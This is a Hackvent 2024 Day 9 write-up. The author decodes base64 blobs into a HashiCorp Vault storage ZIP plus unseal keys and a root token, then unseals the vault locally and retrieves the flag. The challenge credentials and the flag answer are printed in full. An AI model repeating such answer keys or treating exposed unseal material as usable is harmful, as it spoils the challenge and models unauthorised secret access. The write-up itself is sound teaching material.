LSsD5ZD2oWJghi/LdHl1r2nybs2g8Nfg8ei5yHOc+W6JhnTtcATvMi3TK9GQaxONSnyev72BHClF
iT+AxKuD934fi6/eKPSKzF0xfj+TYKtY69Kw2voBFA/OBieFT6KD5Xtzqeg6at7Dws9dUMD9Y48S
m470AtIS4JtGl+Z3H5hClSTN+AaAcUkFKPHZl6Lk+ROJKhfpryK3as2Sc9eDCD6+kprRpbLAVXzx
WSCT/babG3d4BXxcU8c0SMYjLKEj35xV84wRTMHMD+il2d2GDS5bQztO49W3K4dQalMmCqrOQ65S
pPahDXuh1/Vps0BL+Cmxstfdo7v6K0YR3R3VemCVWOxojuzZ2UYxqtuoNlh1Znah0VI2uSxNMA76
Y2Nivwxy1EYSMkMXy1/dhXEoOJgmXQy1pvK17rQUG1DxYDOyuAmoRVzy79/pcZ5VutkZN8rmEEUW
cYnst+/iEvT3YnosR5Nu0K2QKMcLcPvtMLMp0xY43SyJnh2n3YEPpy3l2iqWhpV7qnY8tez9zIHX
cPPFfp/l3e+yVE2etuWzbycMYFtyW2+ggn3RMvb63OOrOvSbTG4VIimIk+ymUt1fv05/fvwFUEsD
BBQAAAAIAIuueln7WIDWgAEAAM0BAAAdABwAdmF1bHQvZmlsZS9jb3JlL19sb2NhbC1tb3VudHNV
VAkAA2WoRWcLskVndXgLAAEEZAAAAAToAwAAFcHLlmNAAADQ/XxGthYk0bQ5pxflUaSECF0S2Snv
RwhBKXPm32f63j+7MG7nbPd7B35cEXyyT+/et5Eruft1s8O7SqoBn5WOP8xtLMRiRxbvlZydfQ5i
g9sSmm1hDkAFtWO6SEI4vQpc2yFQcb05cBZqw+NO+HK2dGVusPA/7TAU2+/IjUB1PT7cIdYRUwl+
AWbkThhCXdyS6pm2HLJvmqVI8GSUE0Fd+f5Q/I7ixBqQv6lNtBxHG9dC5EugDypx9gJn643yQWQT
IVaK1ZvTxvoAZTEcOru6KNELO0aL2HxKJmlMKD8LZ33UXStwIfP3N255F3d4kvubboJaionJ1GL2
yrSpTLJOnpXBVcurLGK+IYI0EwUvowuV9lgvmYtazr9aAlJI8ELvVk3c9NL0T93k4GBqNvdw0myN
Rp4pRW/VFkjl7YL3BZo3fna/m4K4nXH4EMFEbTld+6sVHPnlTkYQqLFG+NbRKsNvmmVr6Xg4Ykwz
lpuJ2N3p19fu769/UEsBAh4DCgAAAAAA6Rt1WQAAAAAAAAAAAAAAAAYAGAAAAAAAAAAQAO1BAAAA
AHZhdWx0L1VUBQAD1g4+Z3V4CwABBOgDAAAE6AMAAFBLAQIeAwoAAAAAAC6MelkAAAAAAAAAAAAA
AAANABgAAAAAAAAAEADtQUAAAAB2YXVsdC9jb25maWcvVVQFAAO4a0VndXgLAAEEZAAAAAToAwAA
UEsBAh4DFAAAAAgA2a16WRlKvtjtAAAALQIAABcAGAAAAAAAAQAAALSBhwAAAHZhdWx0L2NvbmZp
Zy9sb2NhbC5qc29uVVQFAAMZp0VndXgLAAEEZAAAAAToAwAAUEsBAh4DCgAAAAAA6Rt1WQAAAAAA
AAAAAAAAAAsAGAAAAAAAAAAQAO1BxQEAAHZhdWx0L2xvZ3MvVVQFAAPWDj5ndXgLAAEEZAAAAATo
AwAAUEsBAh4DCgAAAAAACa56WQAAAAAAAAAAAAAAAAsAGAAAAAAAAAAQAO1BCgIAAHZhdWx0L2Zp
bGUvVVQFAANyp0VndXgLAAEEZAAAAAToAwAAUEsBAh4DCgAAAAAATq56WQAAAAAAAAAAAAAAABMA
GAAAAAAAAAAQAMBBTwIAAHZhdWx0L2ZpbGUvbG9naWNhbC9VVAUAA/SnRWd1eAsAAQRkAAAABOgD
AABQSwECHgMKAAAAAAAJrnpZAAAAAAAAAAAAAAAAOAAYAAAAAAAAABAAwEGcAgAAdmF1bHQvZmls
ZS9sb2dpY2FsL2ExODYxMGY3LWE4MzMtZDk2Yi0zMTI0LWI3ZjQ2MjIyYzFkZC9VVAUAA3KnRWd1
eAsAAQRkAAAABOgDAABQSwECHgMKAAAAAAAJrnpZAAAAAAAAAAAAAAAARAAYAAAAAAAAABAAwEEO
AwAAdmF1bHQvZmlsZS9sb2dpY2FsL2ExODYxMGY3LWE4MzMtZDk2Yi0zMTI0LWI3ZjQ2MjIyYzFk
ZC9vaWRjX3Rva2Vucy9VVAUAA3KnRWd1eAsAAQRkAAAABOgDAABQSwECHgMKAAAAAACLrnpZAAAA
AAAAAAAAAAAATwAYAAAAAAAAABAAwEGMAwAAdmF1bHQvZmlsZS9sb2dpY2FsL2ExODYxMGY3LWE4
MzMtZDk2Yi0zMTI0LWI3ZjQ2MjIyYzFkZC9vaWRjX3Rva2Vucy9uYW1lZF9rZXlzL1VUBQADZahF
Z3V4CwABBGQAAAAE6AMAAFBLAQIeAxQAAAAIAIuuellOH9kJOwEAAHEBAABXABgAAAAAAAEAAACA
gRUEAAB2YXVsdC9maWxlL2xvZ2ljYWwvYTE4NjEwZjctYTgzMy1kOTZiLTMxMjQtYjdmNDYyMjJj
MWRkL29pZGNfdG9rZW5zL25hbWVkX2tleXMvX2RlZmF1bHRVVAUAA2WoRWd1eAsAAQRkAAAABOgD
AABQSwECHgMKAAAAAAAJrnpZAAAAAAAAAAAAAAAARgAYAAAAAAAAABAAwEHhBQAAdmF1bHQvZmls
ZS9sb2dpY2FsL2ExODYxMGY3LWE4MzMtZDk2Yi0zMTI0LWI3ZjQ2MjIyYzFkZC9vaWRjX3Byb3Zp
ZGVyL1VUBQADcqdFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAwoAAAAAAIuuelkAAAAAAAAAAAAAAABP
ABgAAAAAAAAAEADAQWEGAAB2YXVsdC9maWxlL2xvZ2ljYWwvYTE4NjEwZjctYTgzMy1kOTZiLTMx
MjQtYjdmNDYyMjJjMWRkL29pZGNfcHJvdmlkZXIvcHJvdmlkZXIvVVQFAANlqEVndXgLAAEEZAAA
AAToAwAAUEsBAh4DFAAAAAgAi656WbbLas6KAAAAjQAAAFcAGAAAAAAAAQAAAICB6gYAAHZhdWx0
L2ZpbGUvbG9naWNhbC9hMTg2MTBmNy1hODMzLWQ5NmItMzEyNC1iN2Y0NjIyMmMxZGQvb2lkY19w
cm92aWRlci9wcm92aWRlci9fZGVmYXVsdFVUBQADZahFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAwoA
AAAAAIuuelkAAAAAAAAAAAAAAABRABgAAAAAAAAAEADAQQUIAAB2YXVsdC9maWxlL2xvZ2ljYWwv
YTE4NjEwZjctYTgzMy1kOTZiLTMxMjQtYjdmNDYyMjJjMWRkL29pZGNfcHJvdmlkZXIvYXNzaWdu
bWVudC9VVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQSwECHgMUAAAACACLrnpZPdPrB2wAAABtAAAA
WwAYAAAAAAABAAAAgIGQCAAAdmF1bHQvZmlsZS9sb2dpY2FsL2ExODYxMGY3LWE4MzMtZDk2Yi0z
MTI0LWI3ZjQ2MjIyYzFkZC9vaWRjX3Byb3ZpZGVyL2Fzc2lnbm1lbnQvX2FsbG93X2FsbFVUBQAD
ZahFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAwoAAAAAAMiuelkAAAAAAAAAAAAAAAA4ABgAAAAAAAAA
EADAQZEJAAB2YXVsdC9maWxlL2xvZ2ljYWwvZmQwMjZlM2YtMmQ1Mi1kZmYzLWIzM2MtYmExMTA4
ZDFmOGNhL1VUBQAD16hFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAxQAAAAIAMiuelmjdN//hwAAAIkA
AAA+ABgAAAAAAAEAAACAgQMKAAB2YXVsdC9maWxlL2xvZ2ljYWwvZmQwMjZlM2YtMmQ1Mi1kZmYz
LWIzM2MtYmExMTA4ZDFmOGNhL19zYW50YVVUBQAD16hFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAwoA
AAAAAAmuelkAAAAAAAAAAAAAAAAPABgAAAAAAAAAEADAQQILAAB2YXVsdC9maWxlL3N5cy9VVAUA
A3KnRWd1eAsAAQRkAAAABOgDAABQSwECHgMKAAAAAACwrnpZAAAAAAAAAAAAAAAAFQAYAAAAAAAA
ABAAwEFLCwAAdmF1bHQvZmlsZS9zeXMvdG9rZW4vVVQFAAOsqEVndXgLAAEEZAAAAAToAwAAUEsB
Ah4DFAAAAAgAsK56WeywUMhoAAAAaQAAABoAGAAAAAAAAQAAAICBmgsAAHZhdWx0L2ZpbGUvc3lz
L3Rva2VuL19zYWx0VVQFAAOsqEVndXgLAAEEZAAAAAToAwAAUEsBAh4DCgAAAAAAsK56WQAAAAAA
AAAAAAAAABgAGAAAAAAAAAAQAMBBVgwAAHZhdWx0L2ZpbGUvc3lzL3Rva2VuL2lkL1VUBQADrKhF
Z3V4CwABBGQAAAAE6AMAAFBLAQIeAxQAAAAIALCuelnxcEBGQwIAANECAABaABgAAAAAAAEAAACA
gagMAAB2YXVsdC9maWxlL3N5cy90b2tlbi9pZC9faGZlYWNlZmE5YzgzNzgyZWI1MDczZDQxYjhj
NTA0MzU0YjQxYzczMjhkODFlOGQ3NjNhZmFhZWY4YWJlNzQ2MTRVVAUAA6yoRWd1eAsAAQRkAAAA
BOgDAABQSwECHgMKAAAAAAAJrnpZAAAAAAAAAAAAAAAAHgAYAAAAAAAAABAAwEF/DwAAdmF1bHQv
ZmlsZS9zeXMvdG9rZW4vYWNjZXNzb3IvVVQFAANyp0VndXgLAAEEZAAAAAToAwAAUEsBAh4DFAAA
AAgACa56WcwAWgu7AAAAyQAAAEcAGAAAAAAAAQAAAICB1w8AAHZhdWx0L2ZpbGUvc3lzL3Rva2Vu
L2FjY2Vzc29yL19lYmRjNTJiNjNlYTBjMDUyZjUyMTZmODk1Y2M4YjI5YWFiMDg5NTBhVVQFAANy
p0VndXgLAAEEZAAAAAToAwAAUEsBAh4DCgAAAAAACa56WQAAAAAAAAAAAAAAABgAGAAAAAAAAAAQ
AMBBExEAAHZhdWx0L2ZpbGUvc3lzL2NvdW50ZXJzL1VUBQADcqdFZ3V4CwABBGQAAAAE6AMAAFBL
AQIeAwoAAAAAAIuuelkAAAAAAAAAAAAAAAAhABgAAAAAAAAAEADAQWURAAB2YXVsdC9maWxlL3N5
cy9jb3VudGVycy9hY3Rpdml0eS9VVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQSwECHgMUAAAACACL
rnpZ7BhpVUAAAABBAAAAMwAYAAAAAAABAAAAgIHAEQAAdmF1bHQvZmlsZS9zeXMvY291bnRlcnMv
YWN0aXZpdHkvX2FjbWUtcmVnZW5lcmF0aW9uVVQFAANlqEVndXgLAAEEZAAAAAToAwAAUEsBAh4D
CgAAAAAAi656WQAAAAAAAAAAAAAAABYAGAAAAAAAAAAQAMBBbRIAAHZhdWx0L2ZpbGUvc3lzL3Bv
bGljeS9VVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQSwECHgMUAAAACACLrnpZFZ0mqSUBAABZAQAA
JAAYAAAAAAABAAAAgIG9EgAAdmF1bHQvZmlsZS9zeXMvcG9saWN5L19jb250cm9sLWdyb3VwVVQF
AANlqEVndXgLAAEEZAAAAAToAwAAUEsBAh4DFAAAAAgAi656WdV8U77pCgAASQ4AAB4AGAAAAAAA
AQAAAICBQBQAAHZhdWx0L2ZpbGUvc3lzL3BvbGljeS9fZGVmYXVsdFVUBQADZahFZ3V4CwABBGQA
AAAE6AMAAFBLAQIeAxQAAAAIAIuuelnZAhxyGgEAAEUBAAAoABgAAAAAAAEAAACAgYEfAAB2YXVs
dC9maWxlL3N5cy9wb2xpY3kvX3Jlc3BvbnNlLXdyYXBwaW5nVVQFAANlqEVndXgLAAEEZAAAAATo
AwAAUEsBAh4DCgAAAAAAi656WQAAAAAAAAAAAAAAABAAGAAAAAAAAAAQAMBB/SAAAHZhdWx0L2Zp
bGUvY29yZS9VVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQSwECHgMKAAAAAAAJrnpZAAAAAAAAAAAA
AAAAFAAYAAAAAAAAABAAwEFHIQAAdmF1bHQvZmlsZS9jb3JlL2hzbS9VVAUAA3KnRWd1eAsAAQRk
AAAABOgDAABQSwECHgMKAAAAAAAJrnpZnp7JSXkAAAB5AAAAKAAYAAAAAAABAAAAgIGVIQAAdmF1
bHQvZmlsZS9jb3JlL2hzbS9fYmFycmllci11bnNlYWwta2V5c1VUBQADcqdFZ3V4CwABBGQAAAAE
6AMAAFBLAQIeAxQAAAAIAIuuelkj0IV7lAAAALUAAAAcABgAAAAAAAEAAACAgXAiAAB2YXVsdC9m
aWxlL2NvcmUvX3NlYWwtY29uZmlnVVQFAANlqEVndXgLAAEEZAAAAAToAwAAUEsBAh4DFAAAAAgA
Ca56WVTDaZ1kAAAAZQAAABsAGAAAAAAAAQAAAICBWiMAAHZhdWx0L2ZpbGUvY29yZS9fc2hhbWly
LWtla1VUBQADcqdFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAxQAAAAIAIuuelnxErTRaAAAAGkAAAAm
ABgAAAAAAAEAAACAgRMkAAB2YXVsdC9maWxlL2NvcmUvX2luZGV4LWhlYWRlci1obWFjLWtleVVU
BQADZahFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAxQAAAAIAIuuelmJeuTsZQIAAAEDAAAXABgAAAAA
AAEAAACAgdskAAB2YXVsdC9maWxlL2NvcmUvX21vdW50c1VUBQADZahFZ3V4CwABBGQAAAAE6AMA
AFBLAQIeAxQAAAAIAIuuelnIm3klhAAAAIUAAAAbABgAAAAAAAEAAACAgZEnAAB2YXVsdC9maWxl
L2NvcmUvX2xvY2FsLWF1dGhVVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQSwECHgMUAAAACACLrnpZ
35PlrYIAAACFAAAAFgAYAAAAAAABAAAAgIFqKAAAdmF1bHQvZmlsZS9jb3JlL19hdWRpdFVUBQAD
ZahFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAwoAAAAAAIuuelkAAAAAAAAAAAAAAAAYABgAAAAAAAAA
EADAQTwpAAB2YXVsdC9maWxlL2NvcmUvY2x1c3Rlci9VVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQ
SwECHgMKAAAAAACLrnpZAAAAAAAAAAAAAAAAHgAYAAAAAAAAABAAwEGOKQAAdmF1bHQvZmlsZS9j
b3JlL2NsdXN0ZXIvbG9jYWwvVVQFAANlqEVndXgLAAEEZAAAAAToAwAAUEsBAh4DFAAAAAgAi656
WT0TkPiSAAAAlQAAACMAGAAAAAAAAQAAAICB5ikAAHZhdWx0L2ZpbGUvY29yZS9jbHVzdGVyL2xv
Y2FsL19pbmZvVVQFAANlqEVndXgLAAEEZAAAAAToAwAAUEsBAh4DFAAAAAgAi656WbfL68doAAAA
aQAAACYAGAAAAAAAAQAAAICB1SoAAHZhdWx0L2ZpbGUvY29yZS9jbHVzdGVyL19mZWF0dXJlLWZs
YWdzVVQFAANlqEVndXgLAAEEZAAAAAToAwAAUEsBAh4DCgAAAAAACa56WQAAAAAAAAAAAAAAABkA
GAAAAAAAAAAQAMBBnSsAAHZhdWx0L2ZpbGUvY29yZS92ZXJzaW9ucy9VVAUAA3KnRWd1eAsAAQRk
AAAABOgDAABQSwECHgMUAAAACAAJrnpZyNFq+L8AAADNAAAAIAAYAAAAAAABAAAAgIHwKwAAdmF1
bHQvZmlsZS9jb3JlL3ZlcnNpb25zL18xLjE4LjJVVAUAA3KnRWd1eAsAAQRkAAAABOgDAABQSwEC
HgMUAAAACAAJrnpZiOXWIL8AAADRAAAAFwAYAAAAAAABAAAAgIEJLQAAdmF1bHQvZmlsZS9jb3Jl
L19tYXN0ZXJVVAUAA3KnRWd1eAsAAQRkAAAABOgDAABQSwECHgMUAAAACACLrnpZ6lVr7EsBAACJ
AQAAFQAYAAAAAAABAAAAgIEZLgAAdmF1bHQvZmlsZS9jb3JlL19hdXRoVVQFAANlqEVndXgLAAEE
ZAAAAAToAwAAUEsBAh4DFAAAAAgACa56WYLCd3NeAQAAoQEAABgAGAAAAAAAAQAAAICBsy8AAHZh
dWx0L2ZpbGUvY29yZS9fa2V5cmluZ1VUBQADcqdFZ3V4CwABBGQAAAAE6AMAAFBLAQIeAxQAAAAI
AIuuelmCqLL+hAAAAIUAAAAcABgAAAAAAAEAAACAgWMxAAB2YXVsdC9maWxlL2NvcmUvX2xvY2Fs
LWF1ZGl0VVQFAANlqEVndXgLAAEEZAAAAAToAwAAUEsBAh4DCgAAAAAAi656WQAAAAAAAAAAAAAA
ABkAGAAAAAAAAAAQAMBBPTIAAHZhdWx0L2ZpbGUvY29yZS93cmFwcGluZy9VVAUAA2WoRWd1eAsA
AQRkAAAABOgDAABQSwECHgMUAAAACACLrnpZsMGFukoCAADZAgAAIAAYAAAAAAABAAAAgIGQMgAA
dmF1bHQvZmlsZS9jb3JlL3dyYXBwaW5nL19qd3RrZXlVVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQ
SwECHgMUAAAACACLrnpZ+1iA1oABAADNAQAAHQAYAAAAAAABAAAAgIE0NQAAdmF1bHQvZmlsZS9j
b3JlL19sb2NhbC1tb3VudHNVVAUAA2WoRWd1eAsAAQRkAAAABOgDAABQSwUGAAAAADUANQBhFgAA
CzcAAAAA


VW5zZWFsIEtleSAxOiBoUzFOcTk5VXpiZkdLTE5QT3VIcnlkWFQxdFIvcFFVY25GMzZNdVhSRUJH
WApVbnNlYWwgS2V5IDI6IHV4R3dyUU1GQTU4T2gzWVBadUJBbmdibHlFRE1ITDd4OTRuOWJKa0dn
dDV5ClVuc2VhbCBLZXkgMzogaFZnMEhFeDg2NjhKdjlReXNtUytiQVprMjlSNjFIMG44RVlvMFho
RkM2UkUKVW5zZWFsIEtleSA0OiB1MlRKR3BBdEpZZkJFQkZ5N21VVk85VlN4VURKYmNiS201SXZq
d1NTbVd1aApVbnNlYWwgS2V5IDU6IGw2dEFVYlhuWHFVZm5qWmFZbDh6dzE1QVU1K2t6TW1TYTVz
ZWdlamZyL1NRCgpJbml0aWFsIFJvb3QgVG9rZW46IGh2cy5XdEdGazdpNWJJd2tqTnpFWE1Bb1N2
RUsKClZhdWx0IGluaXRpYWxpemVkIHdpdGggNSBrZXkgc2hhcmVzIGFuZCBhIGtleSB0aHJlc2hv
bGQgb2YgMy4gUGxlYXNlIHNlY3VyZWx5CmRpc3RyaWJ1dGUgdGhlIGtleSBzaGFyZXMgcHJpbnRl
ZCBhYm92ZS4gV2hlbiB0aGUgVmF1bHQgaXMgcmUtc2VhbGVkLApyZXN0YXJ0ZWQsIG9yIHN0b3Bw
ZWQsIHlvdSBtdXN0IHN1cHBseSBhdCBsZWFzdCAzIG9mIHRoZXNlIGtleXMgdG8gdW5zZWFsIGl0
CmJlZm9yZSBpdCBjYW4gc3RhcnQgc2VydmljaW5nIHJlcXVlc3RzLgoKVmF1bHQgZG9lcyBub3Qg
c3RvcmUgdGhlIGdlbmVyYXRlZCByb290IGtleS4gV2l0aG91dCBhdCBsZWFzdCAzIGtleXMgdG8K
cmVjb25zdHJ1Y3QgdGhlIHJvb3Qga2V5LCBWYXVsdCB3aWxsIHJlbWFpbiBwZXJtYW5lbnRseSBz
ZWFsZWQhCgpJdCBpcyBwb3NzaWJsZSB0byBnZW5lcmF0ZSBuZXcgdW5zZWFsIGtleXMsIHByb3Zp
ZGVkIHlvdSBoYXZlIGEgcXVvcnVtIG9mCmV4aXN0aW5nIHVuc2VhbCBrZXlzIHNoYXJlcy4gU2Vl
ICJ2YXVsdCBvcGVyYXRvciByZWtleSIgZm9yIG1vcmUgaW5mb3JtYXRpb24uCg==

Hashicorp Vault

From the output we can see that there is two big base64 encoded strings. The first one resembles a binary file with many references to vault. It is also a valid ZIP file as indicated by the PK magic number header.

We use a simple script to decode using base64 and output the resulting binary to a vault.zip file:

import base64

# Open the base64-encoded vault file and read its contents
with open('vault.base64', 'r') as base64_file:
    base64_data = base64_file.read()

# Decode the base64 data into binary
binary_data = base64.b64decode(base64_data)

# Write the binary data to a new file called 'vault'
with open('vault.zip', 'wb') as output_file:
    output_file.write(binary_data)

print("Vault file has been decoded and saved as 'vault.zip'.")

The second base64 string decodes to:

Unseal Key 1: hS1Nq99UzbfGKLNPOuHrydXT1tR/pQUcnF36MuXREBGX
Unseal Key 2: uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y
Unseal Key 3: hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE
Unseal Key 4: u2TJGpAtJYfBEBFy7mUVO9VSxUDJbcbKm5IvjwSSmWuh
Unseal Key 5: l6tAUbXnXqUfnjZaYl8zw15AU5+kzMmSa5segejfr/SQ

Initial Root Token: hvs.WtGFk7i5bIwkjNzEXMAoSvEK

Vault initialized with 5 key shares and a key threshold of 3. Please securely
distribute the key shares printed above. When the Vault is re-sealed,
restarted, or stopped, you must supply at least 3 of these keys to unseal it
before it can start servicing requests.

Vault does not store the generated root key. Without at least 3 keys to
reconstruct the root key, Vault will remain permanently sealed!

It is possible to generate new unseal keys, provided you have a quorum of
existing unseal keys shares. See "vault operator rekey" for more information.

Next, we install Hashcorp Vault on Windows so we can access this vault. We extract out vault.zip to a vault folder. Now we move the contents of the file directory one level up so that config, core, logical, logs and sys folders are all at the same level.

Then, we create a vault.hcl file that points to our vault:

storage "file" {
  path = "C:/Progra~1/vault/vault"
}

listener "tcp" {
  address = "127.0.0.1:8200"
  tls_disable = 1
}

disable_mlock = true
ui = true

We start our vault server:

$ vault.exe server -config=C:/Progra~1/vault/vault.hcl

And check the status:

$ vault.exe status
Key                Value
---                -----
Seal Type          shamir
Initialized        true
Sealed             true
Total Shares       5
Threshold          3
Unseal Progress    0/3
Unseal Nonce       n/a
Version            1.18.2
Build Date         2024-11-20T11:24:56Z
Storage Type       file
HA Enabled         false

Observe that the vault is sealed. We can use commands or the web UI to unseal the vault using our unseal keys.

$ vault.exe operator unseal hS1Nq99UzbfGKLNPOuHrydXT1tR/pQUcnF36MuXREBGX

$ vault.exe operator unseal uxGwrQMFA58Oh3YPZuBAngblyEDMHL7x94n9bJkGgt5y

$ vault.exe operator unseal hVg0HEx8668Jv9QysmS+bAZk29R61H0n8EYo0XhFC6RE

Running the status command again:

$ vault.exe status
Key             Value
---             -----
Seal Type       shamir
Initialized     true
Sealed          false
Total Shares    5
Threshold       3
Version         1.18.2
Build Date      2024-11-20T11:24:56Z
Storage Type    file
Cluster Name    santas-vault
Cluster ID      0a4c839c-d134-fd88-aa13-84910a0e78e5
HA Enabled      false

At this stage, we use the web UI for convenience to navigate to the santa secret to collect our daily flag!

Hackvent 2024 - Day 9 - Hashicorp Vault Santa Secret Flag

Flag:

HV24{p1r4t3s_3v3rywh3r3_un53413d_4nd_r3v34l3d}

Leave a comment

(required)(will not be published)(required)

Comments

There are no comments yet. Be the first to add one!